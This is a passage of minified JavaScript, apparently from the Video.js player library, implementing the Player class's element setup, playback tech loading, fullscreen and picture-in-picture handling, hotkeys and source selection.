t=this[cr[e].getterName]();t&&t.off&&t.off()})),super.dispose({restoreEl:this.options_.restoreEl})}createEl(){let e,t=this.tag,i=this.playerElIngest_=t.parentNode&&t.parentNode.hasAttribute&&t.parentNode.hasAttribute("data-vjs-player");const n="video-js"===this.tag.tagName.toLowerCase();i?e=this.el_=t.parentNode:n||(e=this.el_=super.createEl("div"));const s=pi(t);if(n){for(e=this.el_=t,t=this.tag=a().createElement("video");e.children.length;)t.appendChild(e.firstChild);li(e,"video-js")||ui(e,"video-js"),e.appendChild(t),i=this.playerElIngest_=e,Object.keys(e).forEach((i=>{try{t[i]=e[i]}catch(e){}}))}if(t.setAttribute("tabindex","-1"),s.tabindex="-1",Ft&&qt&&(t.setAttribute("role","application"),s.role="application"),t.removeAttribute("width"),t.removeAttribute("height"),"width"in s&&delete s.width,"height"in s&&delete s.height,Object.getOwnPropertyNames(s).forEach((function(i){n&&"class"===i||e.setAttribute(i,s[i]),n&&t.setAttribute(i,s[i])})),t.playerId=t.id,t.id+="_html5_api",t.className="vjs-tech",t.player=e.player=this,this.addClass("vjs-paused"),!0!==r().VIDEOJS_NO_DYNAMIC_STYLE){this.styleEl_=ji("vjs-styles-dimensions");const e=Ci(".vjs-styles-defaults"),t=Ci("head");t.insertBefore(this.styleEl_,e?e.nextSibling:t.firstChild)}this.fill_=!1,this.fluid_=!1,this.width(this.options_.width),this.height(this.options_.height),this.fill(this.options_.fill),this.fluid(this.options_.fluid),this.aspectRatio(this.options_.aspectRatio),this.crossOrigin(this.options_.crossOrigin||this.options_.crossorigin);const o=t.getElementsByTagName("a");for(let e=0;e<o.length;e++){const t=o.item(e);ui(t,"vjs-hidden"),t.setAttribute("hidden","hidden")}return t.initNetworkState_=t.networkState,t.parentNode&&!i&&t.parentNode.insertBefore(e,t),oi(t,e),this.children_.unshift(t),this.el_.setAttribute("lang",this.language_),this.el_.setAttribute("translate","no"),this.el_=e,e}crossOrigin(e){if(void 0===e)return this.techGet_("crossOrigin");null===e||"anonymous"===e||"use-credentials"===e?(this.techCall_("setCrossOrigin",e),this.posterImage&&this.posterImage.crossOrigin(e)):kt.warn(`crossOrigin must be null,  "anonymous" or "use-credentials", given "${e}"`)}width(e){return this.dimension("width",e)}height(e){return this.dimension("height",e)}dimension(e,t){const i=e+"_";if(void 0===t)return this[i]||0;if(""===t||"auto"===t)return this[i]=void 0,void this.updateStyleEl_();const n=parseFloat(t);isNaN(n)?kt.error(`Improper value "${t}" supplied for for ${e}`):(this[i]=n,this.updateStyleEl_())}fluid(e){if(void 0===e)return!!this.fluid_;var t,i;this.fluid_=!!e,un(this)&&this.off(["playerreset","resize"],this.boundUpdateStyleEl_),e?(this.addClass("vjs-fluid"),this.fill(!1),i=()=>{this.on(["playerreset","resize"],this.boundUpdateStyleEl_)},un(t=this)?i():(t.eventedCallbacks||(t.eventedCallbacks=[]),t.eventedCallbacks.push(i))):this.removeClass("vjs-fluid"),this.updateStyleEl_()}fill(e){if(void 0===e)return!!this.fill_;this.fill_=!!e,e?(this.addClass("vjs-fill"),this.fluid(!1)):this.removeClass("vjs-fill")}aspectRatio(e){if(void 0===e)return this.aspectRatio_;if(!/^\d+\:\d+$/.test(e))throw new Error("Improper value supplied for aspect ratio. The format should be width:height, for example 16:9.");this.aspectRatio_=e,this.fluid(!0),this.updateStyleEl_()}updateStyleEl_(){if(!0===r().VIDEOJS_NO_DYNAMIC_STYLE){const e="number"==typeof this.width_?this.width_:this.options_.width,t="number"==typeof this.height_?this.height_:this.options_.height,i=this.tech_&&this.tech_.el();return void(i&&(e>=0&&(i.width=e),t>=0&&(i.height=t)))}let e,t,i,n;i=void 0!==this.aspectRatio_&&"auto"!==this.aspectRatio_?this.aspectRatio_:this.videoWidth()>0?this.videoWidth()+":"+this.videoHeight():"16:9";const s=i.split(":"),a=s[1]/s[0];e=void 0!==this.width_?this.width_:void 0!==this.height_?this.height_/a:this.videoWidth()||300,t=void 0!==this.height_?this.height_:e*a,n=/^[^a-zA-Z]/.test(this.id())?"dimensions-"+this.id():this.id()+"-dimensions",this.addClass(n),Ni(this.styleEl_,`\n      .${n} {\n        width: ${e}px;\n        height: ${t}px;\n      }\n\n      .${n}.vjs-fluid:not(.vjs-audio-only-mode) {\n        padding-top: ${100*a}%;\n      }\n    `)}loadTech_(e,t){this.tech_&&this.unloadTech_();const i=wn(e),n=e.charAt(0).toLowerCase()+e.slice(1);"Html5"!==i&&this.tag&&(dr.getTech("Html5").disposeMediaElement(this.tag),this.tag.player=null,this.tag=null),this.techName_=i,this.isReady_=!1;let r=this.autoplay();("string"==typeof this.autoplay()||!0===this.autoplay()&&this.options_.normalizeAutoplay)&&(r=!1);const s={source:t,autoplay:r,nativeControlsForTouch:this.options_.nativeControlsForTouch,playerId:this.id(),techId:`${this.id()}_${n}_api`,playsinline:this.options_.playsinline,preload:this.options_.preload,loop:this.options_.loop,disablePictureInPicture:this.options_.disablePictureInPicture,muted:this.options_.muted,poster:this.poster(),language:this.language(),playerElIngest:this.playerElIngest_||!1,"vtt.js":this.options_["vtt.js"],canOverridePoster:!!this.options_.techCanOverridePoster,enableSourceset:this.options_.enableSourceset};cr.names.forEach((e=>{const t=cr[e];s[t.getterName]=this[t.privateName]})),Object.assign(s,this.options_[i]),Object.assign(s,this.options_[n]),Object.assign(s,this.options_[e.toLowerCase()]),this.tag&&(s.tag=this.tag),t&&t.src===this.cache_.src&&this.cache_.currentTime>0&&(s.startTime=this.cache_.currentTime);const a=dr.getTech(e);if(!a)throw new Error(`No Tech named '${i}' exists! '${i}' should be registered using videojs.registerTech()'`);var o,l;this.tech_=new a(s),this.tech_.ready(tn(this,this.handleTechReady_),!0),o=this.textTracksJson_||[],l=this.tech_,o.forEach((function(e){const t=l.addRemoteTextTrack(e).track;!e.src&&e.cues&&e.cues.forEach((e=>t.addCue(e)))})),l.textTracks(),Vs.forEach((e=>{this.on(this.tech_,e,(t=>this[`handleTech${wn(e)}_`](t)))})),Object.keys(Js).forEach((e=>{this.on(this.tech_,e,(t=>{0===this.tech_.playbackRate()&&this.tech_.seeking()?this.queuedCallbacks_.push({callback:this[`handleTech${Js[e]}_`].bind(this),event:t}):this[`handleTech${Js[e]}_`](t)}))})),this.on(this.tech_,"loadstart",(e=>this.handleTechLoadStart_(e))),this.on(this.tech_,"sourceset",(e=>this.handleTechSourceset_(e))),this.on(this.tech_,"waiting",(e=>this.handleTechWaiting_(e))),this.on(this.tech_,"ended",(e=>this.handleTechEnded_(e))),this.on(this.tech_,"seeking",(e=>this.handleTechSeeking_(e))),this.on(this.tech_,"play",(e=>this.handleTechPlay_(e))),this.on(this.tech_,"pause",(e=>this.handleTechPause_(e))),this.on(this.tech_,"durationchange",(e=>this.handleTechDurationChange_(e))),this.on(this.tech_,"fullscreenchange",((e,t)=>this.handleTechFullscreenChange_(e,t))),this.on(this.tech_,"fullscreenerror",((e,t)=>this.handleTechFullscreenError_(e,t))),this.on(this.tech_,"enterpictureinpicture",(e=>this.handleTechEnterPictureInPicture_(e))),this.on(this.tech_,"leavepictureinpicture",(e=>this.handleTechLeavePictureInPicture_(e))),this.on(this.tech_,"error",(e=>this.handleTechError_(e))),this.on(this.tech_,"posterchange",(e=>this.handleTechPosterChange_(e))),this.on(this.tech_,"textdata",(e=>this.handleTechTextData_(e))),this.on(this.tech_,"ratechange",(e=>this.handleTechRateChange_(e))),this.on(this.tech_,"loadedmetadata",this.boundUpdateStyleEl_),this.usingNativeControls(this.techGet_("controls")),this.controls()&&!this.usingNativeControls()&&this.addTechControlsListeners_(),this.tech_.el().parentNode===this.el()||"Html5"===i&&this.tag||oi(this.tech_.el(),this.el()),this.tag&&(this.tag.player=null,this.tag=null)}unloadTech_(){cr.names.forEach((e=>{const t=cr[e];this[t.privateName]=this[t.getterName]()})),this.textTracksJson_=function(e){const t=e.$$("track"),i=Array.prototype.map.call(t,(e=>e.track));return Array.prototype.map.call(t,(function(e){const t=Nn(e.track);return e.src&&(t.src=e.src),t})).concat(Array.prototype.filter.call(e.textTracks(),(function(e){return-1===i.indexOf(e)})).map(Nn))}(this.tech_),this.isReady_=!1,this.tech_.dispose(),this.tech_=!1,this.isPosterFromTech_&&(this.poster_="",this.trigger("posterchange")),this.isPosterFromTech_=!1}tech(e){return void 0===e&&kt.warn("Using the tech directly can be dangerous. I hope you know what you're doing.\nSee https://github.com/videojs/video.js/issues/2617 for more info.\n"),this.tech_}addTechControlsListeners_(){this.removeTechControlsListeners_(),this.on(this.tech_,"click",this.boundHandleTechClick_),this.on(this.tech_,"dblclick",this.boundHandleTechDoubleClick_),this.on(this.tech_,"touchstart",this.boundHandleTechTouchStart_),this.on(this.tech_,"touchmove",this.boundHandleTechTouchMove_),this.on(this.tech_,"touchend",this.boundHandleTechTouchEnd_),this.on(this.tech_,"tap",this.boundHandleTechTap_)}removeTechControlsListeners_(){this.off(this.tech_,"tap",this.boundHandleTechTap_),this.off(this.tech_,"touchstart",this.boundHandleTechTouchStart_),this.off(this.tech_,"touchmove",this.boundHandleTechTouchMove_),this.off(this.tech_,"touchend",this.boundHandleTechTouchEnd_),this.off(this.tech_,"click",this.boundHandleTechClick_),this.off(this.tech_,"dblclick",this.boundHandleTechDoubleClick_)}handleTechReady_(){this.triggerReady(),this.cache_.volume&&this.techCall_("setVolume",this.cache_.volume),this.handleTechPosterChange_(),this.handleTechDurationChange_()}handleTechLoadStart_(){this.removeClass("vjs-ended","vjs-seeking"),this.error(null),this.handleTechDurationChange_(),this.paused()?(this.hasStarted(!1),this.trigger("loadstart")):this.trigger("loadstart"),this.manualAutoplay_(!0===this.autoplay()&&this.options_.normalizeAutoplay?"play":this.autoplay())}manualAutoplay_(e){if(!this.tech_||"string"!=typeof e)return;const t=()=>{const e=this.muted();this.muted(!0);const t=()=>{this.muted(e)};this.playTerminatedQueue_.push(t);const i=this.play();if($n(i))return i.catch((e=>{throw t(),new Error(`Rejection at manualAutoplay. Restoring muted value. ${e||""}`)}))};let i;return"any"!==e||this.muted()?i="muted"!==e||this.muted()?this.play():t():(i=this.play(),$n(i)&&(i=i.catch(t))),$n(i)?i.then((()=>{this.trigger({type:"autoplay-success",autoplay:e})})).catch((()=>{this.trigger({type:"autoplay-failure",autoplay:e})})):void 0}updateSourceCaches_(e=""){let t=e,i="";"string"!=typeof t&&(t=e.src,i=e.type),this.cache_.source=this.cache_.source||{},this.cache_.sources=this.cache_.sources||[],t&&!i&&(i=((e,t)=>{if(!t)return"";if(e.cache_.source.src===t&&e.cache_.source.type)return e.cache_.source.type;const i=e.cache_.sources.filter((e=>e.src===t));if(i.length)return i[0].type;const n=e.$$("source");for(let e=0;e<n.length;e++){const i=n[e];if(i.type&&i.src&&i.src===t)return i.type}return kr(t)})(this,t)),this.cache_.source=Pt({},e,{src:t,type:i});const n=this.cache_.sources.filter((e=>e.src&&e.src===t)),r=[],s=this.$$("source"),a=[];for(let e=0;e<s.length;e++){const i=pi(s[e]);r.push(i),i.src&&i.src===t&&a.push(i.src)}a.length&&!n.length?this.cache_.sources=r:n.length||(this.cache_.sources=[this.cache_.source]),this.cache_.src=t}handleTechSourceset_(e){if(!this.changingSrc_){let t=e=>this.updateSourceCaches_(e);const i=this.currentSource().src,n=e.src;i&&!/^blob:/.test(i)&&/^blob:/.test(n)&&(!this.lastSource_||this.lastSource_.tech!==n&&this.lastSource_.player!==i)&&(t=()=>{}),t(n),e.src||this.tech_.any(["sourceset","loadstart"],(e=>{if("sourceset"===e.type)return;const t=this.techGet("currentSrc");this.lastSource_.tech=t,this.updateSourceCaches_(t)}))}this.lastSource_={player:this.currentSource().src,tech:e.src},this.trigger({src:e.src,type:"sourceset"})}hasStarted(e){if(void 0===e)return this.hasStarted_;e!==this.hasStarted_&&(this.hasStarted_=e,this.hasStarted_?this.addClass("vjs-has-started"):this.removeClass("vjs-has-started"))}handleTechPlay_(){this.removeClass("vjs-ended","vjs-paused"),this.addClass("vjs-playing"),this.hasStarted(!0),this.trigger("play")}handleTechRateChange_(){this.tech_.playbackRate()>0&&0===this.cache_.lastPlaybackRate&&(this.queuedCallbacks_.forEach((e=>e.callback(e.event))),this.queuedCallbacks_=[]),this.cache_.lastPlaybackRate=this.tech_.playbackRate(),this.trigger("ratechange")}handleTechWaiting_(){this.addClass("vjs-waiting"),this.trigger("waiting");const e=this.currentTime(),t=()=>{e!==this.currentTime()&&(this.removeClass("vjs-waiting"),this.off("timeupdate",t))};this.on("timeupdate",t)}handleTechCanPlay_(){this.removeClass("vjs-waiting"),this.trigger("canplay")}handleTechCanPlayThrough_(){this.removeClass("vjs-waiting"),this.trigger("canplaythrough")}handleTechPlaying_(){this.removeClass("vjs-waiting"),this.trigger("playing")}handleTechSeeking_(){this.addClass("vjs-seeking"),this.trigger("seeking")}handleTechSeeked_(){this.removeClass("vjs-seeking","vjs-ended"),this.trigger("seeked")}handleTechPause_(){this.removeClass("vjs-playing"),this.addClass("vjs-paused"),this.trigger("pause")}handleTechEnded_(){this.addClass("vjs-ended"),this.removeClass("vjs-waiting"),this.options_.loop?(this.currentTime(0),this.play()):this.paused()||this.pause(),this.trigger("ended")}handleTechDurationChange_(){this.duration(this.techGet_("duration"))}handleTechClick_(e){this.controls_&&(void 0!==this.options_&&void 0!==this.options_.userActions&&void 0!==this.options_.userActions.click&&!1===this.options_.userActions.click||(void 0!==this.options_&&void 0!==this.options_.userActions&&"function"==typeof this.options_.userActions.click?this.options_.userActions.click.call(this,e):this.paused()?jn(this.play()):this.pause()))}handleTechDoubleClick_(e){this.controls_&&(Array.prototype.some.call(this.$$(".vjs-control-bar, .vjs-modal-dialog"),(t=>t.contains(e.target)))||void 0!==this.options_&&void 0!==this.options_.userActions&&void 0!==this.options_.userActions.doubleClick&&!1===this.options_.userActions.doubleClick||(void 0!==this.options_&&void 0!==this.options_.userActions&&"function"==typeof this.options_.userActions.doubleClick?this.options_.userActions.doubleClick.call(this,e):this.isFullscreen()?this.exitFullscreen():this.requestFullscreen()))}handleTechTap_(){this.userActive(!this.userActive())}handleTechTouchStart_(){this.userWasActive=this.userActive()}handleTechTouchMove_(){this.userWasActive&&this.reportUserActivity()}handleTechTouchEnd_(e){e.cancelable&&e.preventDefault()}toggleFullscreenClass_(){this.isFullscreen()?this.addClass("vjs-fullscreen"):this.removeClass("vjs-fullscreen")}documentFullscreenChange_(e){const t=e.target.player;if(t&&t!==this)return;const i=this.el();let n=a()[this.fsApi_.fullscreenElement]===i;!n&&i.matches?n=i.matches(":"+this.fsApi_.fullscreen):!n&&i.msMatchesSelector&&(n=i.msMatchesSelector(":"+this.fsApi_.fullscreen)),this.isFullscreen(n)}handleTechFullscreenChange_(e,t){t&&(t.nativeIOSFullscreen&&(this.addClass("vjs-ios-native-fs"),this.tech_.one("webkitendfullscreen",(()=>{this.removeClass("vjs-ios-native-fs")}))),this.isFullscreen(t.isFullscreen))}handleTechFullscreenError_(e,t){this.trigger("fullscreenerror",t)}togglePictureInPictureClass_(){this.isInPictureInPicture()?this.addClass("vjs-picture-in-picture"):this.removeClass("vjs-picture-in-picture")}handleTechEnterPictureInPicture_(e){this.isInPictureInPicture(!0)}handleTechLeavePictureInPicture_(e){this.isInPictureInPicture(!1)}handleTechError_(){const e=this.tech_.error();this.error(e)}handleTechTextData_(){let e=null;arguments.length>1&&(e=arguments[1]),this.trigger("textdata",e)}getCache(){return this.cache_}resetCache_(){this.cache_={currentTime:0,initTime:0,inactivityTimeout:this.options_.inactivityTimeout,duration:NaN,lastVolume:1,lastPlaybackRate:this.defaultPlaybackRate(),media:null,src:"",source:{},sources:[],playbackRates:[],volume:1}}techCall_(e,t){this.ready((function(){if(e in vr)return function(e,t,i,n){return t[i](e.reduce(br(i),n))}(this.middleware_,this.tech_,e,t);if(e in yr)return gr(this.middleware_,this.tech_,e,t);try{this.tech_&&this.tech_[e](t)}catch(e){throw kt(e),e}}),!0)}techGet_(e){if(this.tech_&&this.tech_.isReady_){if(e in _r)return function(e,t,i){return e.reduceRight(br(i),t[i]())}(this.middleware_,this.tech_,e);if(e in yr)return gr(this.middleware_,this.tech_,e);try{return this.tech_[e]()}catch(t){if(void 0===this.tech_[e])throw kt(`Video.js: ${e} method not defined for ${this.techName_} playback technology.`,t),t;if("TypeError"===t.name)throw kt(`Video.js: ${e} unavailable on ${this.techName_} playback technology element.`,t),this.tech_.isReady_=!1,t;throw kt(t),t}}}play(){return new Promise((e=>{this.play_(e)}))}play_(e=jn){this.playCallbacks_.push(e);const t=Boolean(!this.changingSrc_&&(this.src()||this.currentSrc())),i=Boolean(Zt||Xt);if(this.waitToPlay_&&(this.off(["ready","loadstart"],this.waitToPlay_),this.waitToPlay_=null),!this.isReady_||!t)return this.waitToPlay_=e=>{this.play_()},this.one(["ready","loadstart"],this.waitToPlay_),void(!t&&i&&this.load());const n=this.techGet_("play");i&&this.hasClass("vjs-ended")&&this.resetProgressBar_(),null===n?this.runPlayTerminatedQueue_():this.runPlayCallbacks_(n)}runPlayTerminatedQueue_(){const e=this.playTerminatedQueue_.slice(0);this.playTerminatedQueue_=[],e.forEach((function(e){e()}))}runPlayCallbacks_(e){const t=this.playCallbacks_.slice(0);this.playCallbacks_=[],this.playTerminatedQueue_=[],t.forEach((function(t){t(e)}))}pause(){this.techCall_("pause")}paused(){return!1!==this.techGet_("paused")}played(){return this.techGet_("played")||Ln(0,0)}scrubbing(e){if(void 0===e)return this.scrubbing_;this.scrubbing_=!!e,this.techCall_("setScrubbing",this.scrubbing_),e?this.addClass("vjs-scrubbing"):this.removeClass("vjs-scrubbing")}currentTime(e){return void 0!==e?(e<0&&(e=0),this.isReady_&&!this.changingSrc_&&this.tech_&&this.tech_.isReady_?(this.techCall_("setCurrentTime",e),void(this.cache_.initTime=0)):(this.cache_.initTime=e,this.off("canplay",this.boundApplyInitTime_),void this.one("canplay",this.boundApplyInitTime_))):(this.cache_.currentTime=this.techGet_("currentTime")||0,this.cache_.currentTime)}applyInitTime_(){this.currentTime(this.cache_.initTime)}duration(e){if(void 0===e)return void 0!==this.cache_.duration?this.cache_.duration:NaN;(e=parseFloat(e))<0&&(e=1/0),e!==this.cache_.duration&&(this.cache_.duration=e,e===1/0?this.addClass("vjs-live"):this.removeClass("vjs-live"),isNaN(e)||this.trigger("durationchange"))}remainingTime(){return this.duration()-this.currentTime()}remainingTimeDisplay(){return Math.floor(this.duration())-Math.floor(this.currentTime())}buffered(){let e=this.techGet_("buffered");return e&&e.length||(e=Ln(0,0)),e}bufferedPercent(){return On(this.buffered(),this.duration())}bufferedEnd(){const e=this.buffered(),t=this.duration();let i=e.end(e.length-1);return i>t&&(i=t),i}volume(e){let t;return void 0!==e?(t=Math.max(0,Math.min(1,parseFloat(e))),this.cache_.volume=t,this.techCall_("setVolume",t),void(t>0&&this.lastVolume_(t))):(t=parseFloat(this.techGet_("volume")),isNaN(t)?1:t)}muted(e){if(void 0===e)return this.techGet_("muted")||!1;this.techCall_("setMuted",e)}defaultMuted(e){return void 0!==e?this.techCall_("setDefaultMuted",e):this.techGet_("defaultMuted")||!1}lastVolume_(e){if(void 0===e||0===e)return this.cache_.lastVolume;this.cache_.lastVolume=e}supportsFullScreen(){return this.techGet_("supportsFullScreen")||!1}isFullscreen(e){if(void 0!==e){const t=this.isFullscreen_;return this.isFullscreen_=Boolean(e),this.isFullscreen_!==t&&this.fsApi_.prefixed&&this.trigger("fullscreenchange"),void this.toggleFullscreenClass_()}return this.isFullscreen_}requestFullscreen(e){this.isInPictureInPicture()&&this.exitPictureInPicture();const t=this;return new Promise(((i,n)=>{function r(){t.off("fullscreenerror",a),t.off("fullscreenchange",s)}function s(){r(),i()}function a(e,t){r(),n(t)}t.one("fullscreenchange",s),t.one("fullscreenerror",a);const o=t.requestFullscreenHelper_(e);o&&(o.then(r,r),o.then(i,n))}))}requestFullscreenHelper_(e){let t;if(this.fsApi_.prefixed||(t=this.options_.fullscreen&&this.options_.fullscreen.options||{},void 0!==e&&(t=e)),this.fsApi_.requestFullscreen){const e=this.el_[this.fsApi_.requestFullscreen](t);return e&&e.then((()=>this.isFullscreen(!0)),(()=>this.isFullscreen(!1))),e}this.tech_.supportsFullScreen()&&1==!this.options_.preferFullWindow?this.techCall_("enterFullScreen"):this.enterFullWindow()}exitFullscreen(){const e=this;return new Promise(((t,i)=>{function n(){e.off("fullscreenerror",s),e.off("fullscreenchange",r)}function r(){n(),t()}function s(e,t){n(),i(t)}e.one("fullscreenchange",r),e.one("fullscreenerror",s);const a=e.exitFullscreenHelper_();a&&(a.then(n,n),a.then(t,i))}))}exitFullscreenHelper_(){if(this.fsApi_.requestFullscreen){const e=a()[this.fsApi_.exitFullscreen]();return e&&jn(e.then((()=>this.isFullscreen(!1)))),e}this.tech_.supportsFullScreen()&&1==!this.options_.preferFullWindow?this.techCall_("exitFullScreen"):this.exitFullWindow()}enterFullWindow(){this.isFullscreen(!0),this.isFullWindow=!0,this.docOrigOverflow=a().documentElement.style.overflow,Ji(a(),"keydown",this.boundFullWindowOnEscKey_),a().documentElement.style.overflow="hidden",ui(a().body,"vjs-full-window"),this.trigger("enterFullWindow")}fullWindowOnEscKey(e){l().isEventKey(e,"Esc")&&!0===this.isFullscreen()&&(this.isFullWindow?this.exitFullWindow():this.exitFullscreen())}exitFullWindow(){this.isFullscreen(!1),this.isFullWindow=!1,Gi(a(),"keydown",this.boundFullWindowOnEscKey_),a().documentElement.style.overflow=this.docOrigOverflow,ci(a().body,"vjs-full-window"),this.trigger("exitFullWindow")}disablePictureInPicture(e){if(void 0===e)return this.techGet_("disablePictureInPicture");this.techCall_("setDisablePictureInPicture",e),this.options_.disablePictureInPicture=e,this.trigger("disablepictureinpicturechanged")}isInPictureInPicture(e){return void 0!==e?(this.isInPictureInPicture_=!!e,void this.togglePictureInPictureClass_()):!!this.isInPictureInPicture_}requestPictureInPicture(){if(this.options_.enableDocumentPictureInPicture&&r().documentPictureInPicture){const e=a().createElement(this.el().tagName);return e.classList=this.el().classList,e.classList.add("vjs-pip-container"),this.posterImage&&e.appendChild(this.posterImage.el().cloneNode(!0)),this.titleBar&&e.appendChild(this.titleBar.el().cloneNode(!0)),e.appendChild(si("p",{className:"vjs-pip-text"},{},this.localize("Playing in picture-in-picture"))),r().documentPictureInPicture.requestWindow({initialAspectRatio:this.videoWidth()/this.videoHeight(),copyStyleSheets:!0}).then((t=>(this.el_.parentNode.insertBefore(e,this.el_),t.document.body.append(this.el_),t.document.body.classList.add("vjs-pip-window"),this.player_.isInPictureInPicture(!0),this.player_.trigger("enterpictureinpicture"),t.addEventListener("unload",(t=>{const i=t.target.querySelector(".video-js");e.replaceWith(i),this.player_.isInPictureInPicture(!1),this.player_.trigger("leavepictureinpicture")})),t)))}return"pictureInPictureEnabled"in a()&&!1===this.disablePictureInPicture()?this.techGet_("requestPictureInPicture"):Promise.reject("No PiP mode is available")}exitPictureInPicture(){return r().documentPictureInPicture&&r().documentPictureInPicture.window?(r().documentPictureInPicture.window.close(),Promise.resolve()):"pictureInPictureEnabled"in a()?a().exitPictureInPicture():void 0}handleKeyDown(e){const{userActions:t}=this.options_;t&&t.hotkeys&&((e=>{const t=e.tagName.toLowerCase();return!!e.isContentEditable||("input"===t?-1===["button","checkbox","hidden","radio","reset","submit"].indexOf(e.type):-1!==["textarea"].indexOf(t))})(this.el_.ownerDocument.activeElement)||("function"==typeof t.hotkeys?t.hotkeys.call(this,e):this.handleHotkeys(e)))}handleHotkeys(e){const t=this.options_.userActions?this.options_.userActions.hotkeys:{},{fullscreenKey:i=(e=>l().isEventKey(e,"f")),muteKey:n=(e=>l().isEventKey(e,"m")),playPauseKey:r=(e=>l().isEventKey(e,"k")||l().isEventKey(e,"Space"))}=t;if(i.call(this,e)){e.preventDefault(),e.stopPropagation();const t=Sn.getComponent("FullscreenToggle");!1!==a()[this.fsApi_.fullscreenEnabled]&&t.prototype.handleClick.call(this,e)}else n.call(this,e)?(e.preventDefault(),e.stopPropagation(),Sn.getComponent("MuteToggle").prototype.handleClick.call(this,e)):r.call(this,e)&&(e.preventDefault(),e.stopPropagation(),Sn.getComponent("PlayToggle").prototype.handleClick.call(this,e))}canPlayType(e){let t;for(let i=0,n=this.options_.techOrder;i<n.length;i++){const r=n[i];let s=dr.getTech(r);if(s||(s=Sn.getComponent(r)),s){if(s.isSupported()&&(t=s.canPlayType(e),t))return t}else kt.error(`The "${r}" tech is undefined. Skipped browser support check for that tech.`)}return""}selectSource(e){const t=this.options_.techOrder.map((e=>[e,dr.getTech(e)])).filter((([e,t])=>t?t.isSupported():(kt.error(`The "${e}" tech is undefined. Skipped browser support check for that tech.`),!1))),i=function(e,t,i){let n;return e.some((e=>t.some((t=>{if(n=i(e,t),n)return!0})))),n};let n;const r=([e,t],i)=>{if(t.canPlaySource(i,this.options_[e.toLowerCase()]))return{source:i,tech:e}};var s;return n=this.options_.sourceOrder?i(e,t,(s=r,(e,t)=>s(t,e))):i(t,e,r),n||!1}handleSrc_(e,t){if(void 0===e)return this.cache_.src||"";this.resetRetryOnError_&&this.resetRetryOnError_();const i=Sr(e);if(i.length){if(this.changingSrc_=!0,t||(this.cache_.sources=i),this.updateSourceCaches_(i[0]),mr(this,i[0],((e,n)=>{if(this.middleware_=n,t||(this.cache_.sources=i),this.updateSourceCaches_(e),this.src_(e))return i.length>1?this.handleSrc_(i.slice(1)):(this.changingSrc_=!1,this.setTimeout((function(){this.error({code:4,message:this.options_.notSupportedMessage})}),0),void this.triggerReady());var r,s;r=n,s=this.tech_,r.forEach((e=>e.setTech&&e.setTech(s)))})),i.length>1){const e=()=>{this.error(null),this.handleSrc_(i.slice(1),!0)},t=()=>{this.off("error",e)};this.one("error",e),this.one("playing",t),this.resetRetryOnError_=()=>{this.off("error",e),this.off("playing",t)}}}else this.setTimeout((function(){this.error({code:4,message:this.options_.notSupportedMessage})}),0)}src(e){return this.handleSrc_(e,!1)}src_(e){const t=this.selectSource([e]);return!t||(Tn(t.tech,this.techName_)?(this.ready((function(){this.tech_.constructor.prototype.hasOwnProperty("setSource")?this.techCall_("setSource",e):this.techCall_("src",e.src),this.changingSrc_=!1}),!0),!1):(this.changingSrc_=!0,this.loadTech_(t.tech,t.source),this.tech_.ready((()=>{this.changingSrc_=!1})),!1))}load(){this.techCall_("load")}reset(){this.paused()?this.doReset_():jn(this.play().then((()=>this.doReset_())))}doReset_(){this.tech_&&this.tech_.clearTracks("text"),this.resetCache_(),this.poster(""),this.loadTech_(this.options_.techOrder[0],null),this.techCall_("reset"),this.resetControlBarUI_(),un(this)&&this.trigger("playerreset")}resetControlBarUI_(){this.resetProgressBar_(),this.resetPlaybackRate_(),this.resetVolumeBar_()}resetProgressBar_(){this.currentTime(0);const{currentTimeDisplay:e,durationDisplay:t,progressControl:i,remainingTimeDisplay:n}=this.controlBar||{},{seekBar:r}=i||{};e&&e.updateContent(),t&&t.updateContent(),n&&n.updateContent(),r&&(r.update(),r.loadProgressBar&&r.loadProgressBar.update())}resetPlaybackRate_(){this.playbackRate(this.defaultPlaybackRate()),this.handleTechRateChange_()}resetVolumeBar_(){this.volume(1),this.trigger("volumechange")}currentSources(){const e=this.currentSource(),t=[];return 0!==Object.keys(e).length&&t.push(e),this.cache_.sources||t}currentSource(){return this.cache_.source||{}}currentSrc(){return this.currentSource()&&this.currentSource().src||""}currentType(){return this.currentSource()&&this.currentSource().type||""}preload(e){return void 0!==e?(this.techCall_("setPreload",e),void(this.options_.preload=e)):this.techGet_("preload")}autoplay(e){if(void 0===e)return this.options_.autoplay||!1;let t;"string"==typeof e&&/(any|play|muted)/.test(e)||!0===e&&this.options_.normalizeAutoplay?(this.options_.autoplay=e,this.manualAutoplay_("string"==typeof e?e:"play"),t=!1):this.options_.autoplay=!!e,t=void 0===t?this.options_.autoplay:t,this.tech_&&this.techCall_("setAutoplay",t)}playsinline(e){return void 0!==e?(this.techCall_("setPlaysinline",e),this.options_.playsinline=e,this):this.techGet_("playsinline")}loop(e){return void 0!==e?(this.techCall_("setLoop",e),void(this.options_.loop=e)):this.techGet_("loop")}poster(e){if(void 0===e)return this.poster_;e||(e=""),e!==this.poster_&&(this.poster_=e,this.techCall_("setPoster",e),this.isPosterFromTech_=!1,this.trigger("posterchange"))}handleTechPosterChange_(){if((!this.poster_||this.options_.techCanOverridePoster)&&this.tech_&&this.tech_.poster){const e=this.tech_.poster()||"";e!==this.poster_&&(this.poster_=e,this.isPosterFromTech_=!0,this.trigger("posterchange"))}}controls(e){if(void 0===e)return!!this.controls_;e=!!e,this.controls_!==e&&(this.controls_=e,this.usingNativeControls()&&this.techCall_("setControls",e),this.controls_?(this.removeClass("vjs-controls-disabled"),this.addClass("vjs-controls-enabled"),this.trigger("controlsenabled"),this.usingNativeControls()||this.addTechControlsListeners_()):(this.removeClass("vjs-controls-enabled"),this.addClass("vjs-controls-disabled"),this.trigger("controlsdisabled"),this.usingNativeControls()||this.removeTechControlsListeners_()))}usingNativeControls(e){if(void 0===e)return!!this.usingNativeControls_;e=!!e,this.usingNativeControls_!==e&&(this.usingNativeControls_=e,this.usingNativeControls_?(this.addClass("vjs-using-native-controls"),this.trigger("usingnativecontrols")):(this.removeClass("vjs-using-native-controls"),this.trigger("usingcustomcontrols")))}error(e){if(void 0===e)return this.error_||null;if(gt("beforeerror").forEach((t=>{const i=t(this,e);Dt(i)&&!Array.isArray(i)||"string"==typeof i||"number"==typeof i||null===i?e=i:this.log.error("please return a value that MediaError expects in beforeerror hooks")})),this.options_.suppressNotSupportedError&&e&&4===e.code){const t=function(){this.error(e)};return this.options_.suppressNotSupportedError=!1,this.any(["click","touchstart"],t),void this.one("loadstart",(function(){this.off(["click","touchstart"],t)}))}if(null===e)return 